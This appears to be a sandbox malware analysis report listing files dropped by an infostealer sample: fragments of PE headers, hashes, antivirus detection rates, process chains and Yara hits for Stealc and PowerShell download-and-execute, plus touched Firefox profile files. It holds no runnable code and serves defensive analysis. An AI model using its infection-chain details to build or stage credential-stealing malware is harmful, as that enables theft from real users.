Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...4a.g.........."..........V......w.............@..........................`.......A....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2949120
Entropy (8bit):	6.507147106513987
Encrypted:	false
SSDEEP:	49152:7sqd18GF4eVBdMLIIM3dZCw0AiP8vpgdtIWyVYBe59mTag:YK18GXdMx2vCw0A6+qPIWyVYA
MD5:	8D1E04C056CAF2CC26A48A16BE0198B8
SHA1:	F87723B046AB9DB7ACAA622516E3BA843650DCE8
SHA-256:	6B2B0C1FCB05EB6811E26B07DF264A6A2BECB83A95DA2A875860C83E55776FF9
SHA-512:	053B73F256E8FB175D5ADE033091208E13B78CB4CF4C72F3F47B5127A82CE09B418D48F86E5A575D9DF0DDB1920BF8243CD50413197BD2144D56F7DDFC7BBE0B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0.....p.-...@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...gmhlytvb.P......J.................@...oycggmgz......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2949120
Entropy (8bit):	6.507147106513987
Encrypted:	false
SSDEEP:	49152:7sqd18GF4eVBdMLIIM3dZCw0AiP8vpgdtIWyVYBe59mTag:YK18GXdMx2vCw0A6+qPIWyVYA
MD5:	8D1E04C056CAF2CC26A48A16BE0198B8
SHA1:	F87723B046AB9DB7ACAA622516E3BA843650DCE8
SHA-256:	6B2B0C1FCB05EB6811E26B07DF264A6A2BECB83A95DA2A875860C83E55776FF9
SHA-512:	053B73F256E8FB175D5ADE033091208E13B78CB4CF4C72F3F47B5127A82CE09B418D48F86E5A575D9DF0DDB1920BF8243CD50413197BD2144D56F7DDFC7BBE0B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0.....p.-...@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...gmhlytvb.P......J.................@...oycggmgz......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947416099994073
Encrypted:	false
SSDEEP:	49152:8mRhmhK5ZSLue0v+HpxCBlwQhwegB589ooccs9GULcbHN1:JCKyvHpxC7BCLoULyt1
MD5:	3833A1B7C23D66EECEC6B16DDF5CF540
SHA1:	05182934E239A8E6715ADA16E0DDCDE3B7598E05
SHA-256:	96F09E8BD3F67C287A0BB1529D5220D9496A233FBA5B1608366A2C280A864DD2
SHA-512:	3C824F5AA05FF6BA2A1F9D805D2D1F755F1A8A5646D367C325D0A7B6B38D0DFEDD61E75F984FCC6686C27FD1A4C5147F874A9A468EF15AED589ED993D2033069
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$...... i...........@..........................Pi......p....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...rhebxyzr.....pO......<..............@...gzayextq......i.....................@....taggant.0... i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.583726432717676
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgagT4:oqDEvCTbMWu7rQYlBQcBiT6rprG8a44
MD5:	EE970780C371D5BD42992B92132F5014
SHA1:	47331BE4BF096C62689DF219BEA9FF4E168B5C31
SHA-256:	F34BE318CE2ADF4BFC28A459A9DC6C468F72A8231AAA12845BEB68D58F0F5D80
SHA-512:	6E9F3C54184866B9E7179E7AB0BA0B29BF934AFC837401CC886D317A9E3A53B9DF5585A3F8183FEE71B8C8D3C60C10AADB6A0D4DA011F08CE39C203CE15AD9F7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...4a.g.........."..........V......w.............@..........................`.......A....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001608001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950227100934907
Encrypted:	false
SSDEEP:	24576:9PrNSAPrhaATSTyvYNbZQqm/G9BQBlC5pwx7MUwzRbitleMHBwo3H+HRr5e0Z44F:BrN7FSTyvauJ/hCvjIeMHdeHhZut3
MD5:	85B5560CBE6CB2FC83058376490E1CFE
SHA1:	82BB2E2A898FDD100971C8981AD66A871CA6C1CB
SHA-256:	4F9DA76F7D0BDD4E31D23BAC0B4E260F91A0CC6878C787EC7C74D07476F1F3A7
SHA-512:	0454302784D5EACA3CD62DD2B3D2A3F0E2F7B2C19647886CCF8074212B971943E2F9FFCFFA391F826CD4AE2E7587E125CBB3C73AB050FE6F3B77F1AB6199946A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...ujtayirb......0.....................@...rmnowbou......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1887744
Entropy (8bit):	7.950227100934907
Encrypted:	false
SSDEEP:	24576:9PrNSAPrhaATSTyvYNbZQqm/G9BQBlC5pwx7MUwzRbitleMHBwo3H+HRr5e0Z44F:BrN7FSTyvauJ/hCvjIeMHdeHhZut3
MD5:	85B5560CBE6CB2FC83058376490E1CFE
SHA1:	82BB2E2A898FDD100971C8981AD66A871CA6C1CB
SHA-256:	4F9DA76F7D0BDD4E31D23BAC0B4E260F91A0CC6878C787EC7C74D07476F1F3A7
SHA-512:	0454302784D5EACA3CD62DD2B3D2A3F0E2F7B2C19647886CCF8074212B971943E2F9FFCFFA391F826CD4AE2E7587E125CBB3C73AB050FE6F3B77F1AB6199946A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...ujtayirb......0.....................@...rmnowbou......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2831360
Entropy (8bit):	6.4772063666107655
Encrypted:	false
SSDEEP:	24576:xMBhB3RIBiSKKDnxqahqu3JjI3niVGljX8+CEdh5xVBpklkOMlRSBQ32EZt4ipIL:o3F8qsJJLwelcZPuPywv
MD5:	9133E5DB092F1C3026308DFEA85F0EBA
SHA1:	16B85CF34C8B8176656D2E443537427A16E17CBD
SHA-256:	47A37BFE21C5ED0CC6E3B5FD355A8A71CCC63E6AF19A7A3B19DBF0F0C12F78AB
SHA-512:	3FA8336BB5769CF27E8F2C640CC03B568DD8501FBAA7A621462C0FF353BD0DC992AC3630B3788E40D33F00120D32D630CA4A72C14C3BEA15FC796268D97EBB95
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....A}+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rlkngmqk...........:..............@...jjmnbtpn. ....+.......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947416099994073
Encrypted:	false
SSDEEP:	49152:8mRhmhK5ZSLue0v+HpxCBlwQhwegB589ooccs9GULcbHN1:JCKyvHpxC7BCLoULyt1
MD5:	3833A1B7C23D66EECEC6B16DDF5CF540
SHA1:	05182934E239A8E6715ADA16E0DDCDE3B7598E05
SHA-256:	96F09E8BD3F67C287A0BB1529D5220D9496A233FBA5B1608366A2C280A864DD2
SHA-512:	3C824F5AA05FF6BA2A1F9D805D2D1F755F1A8A5646D367C325D0A7B6B38D0DFEDD61E75F984FCC6686C27FD1A4C5147F874A9A468EF15AED589ED993D2033069
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$...... i...........@..........................Pi......p....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...rhebxyzr.....pO......<..............@...gzayextq......i.....................@....taggant.0... i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947416099994073
Encrypted:	false
SSDEEP:	49152:8mRhmhK5ZSLue0v+HpxCBlwQhwegB589ooccs9GULcbHN1:JCKyvHpxC7BCLoULyt1
MD5:	3833A1B7C23D66EECEC6B16DDF5CF540
SHA1:	05182934E239A8E6715ADA16E0DDCDE3B7598E05
SHA-256:	96F09E8BD3F67C287A0BB1529D5220D9496A233FBA5B1608366A2C280A864DD2
SHA-512:	3C824F5AA05FF6BA2A1F9D805D2D1F755F1A8A5646D367C325D0A7B6B38D0DFEDD61E75F984FCC6686C27FD1A4C5147F874A9A468EF15AED589ED993D2033069
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$...... i...........@..........................Pi......p....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...rhebxyzr.....pO......<..............@...gzayextq......i.....................@....taggant.0... i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950227100934907
Encrypted:	false
SSDEEP:	24576:9PrNSAPrhaATSTyvYNbZQqm/G9BQBlC5pwx7MUwzRbitleMHBwo3H+HRr5e0Z44F:BrN7FSTyvauJ/hCvjIeMHdeHhZut3
MD5:	85B5560CBE6CB2FC83058376490E1CFE
SHA1:	82BB2E2A898FDD100971C8981AD66A871CA6C1CB
SHA-256:	4F9DA76F7D0BDD4E31D23BAC0B4E260F91A0CC6878C787EC7C74D07476F1F3A7
SHA-512:	0454302784D5EACA3CD62DD2B3D2A3F0E2F7B2C19647886CCF8074212B971943E2F9FFCFFA391F826CD4AE2E7587E125CBB3C73AB050FE6F3B77F1AB6199946A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...ujtayirb......0.....................@...rmnowbou......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.5294981214721135
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KakfGNBw8MJSl:yegquOcwV0
MD5:	824B654832E313787953C52941C09765
SHA1:	74814560FF5E244BC3B6ACA16313AE53553BCD50
SHA-256:	1F7839E332B88E9F24361636F0C0AA5E52DDB8B04A8C5E21710F3796EE847EA7
SHA-512:	4F7E39CBC0091CCE85569B1929FFF62F3F2CDB8DD7BCD47C7817671B2EEEB6B90EBE59515070ED726D7EE44A6DCEA6B52F09DF6AAE94AAB925AEB1FBD6527B30
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	5.5294981214721135
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KakfGNBw8MJSl:yegquOcwV0
MD5:	824B654832E313787953C52941C09765
SHA1:	74814560FF5E244BC3B6ACA16313AE53553BCD50
SHA-256:	1F7839E332B88E9F24361636F0C0AA5E52DDB8B04A8C5E21710F3796EE847EA7
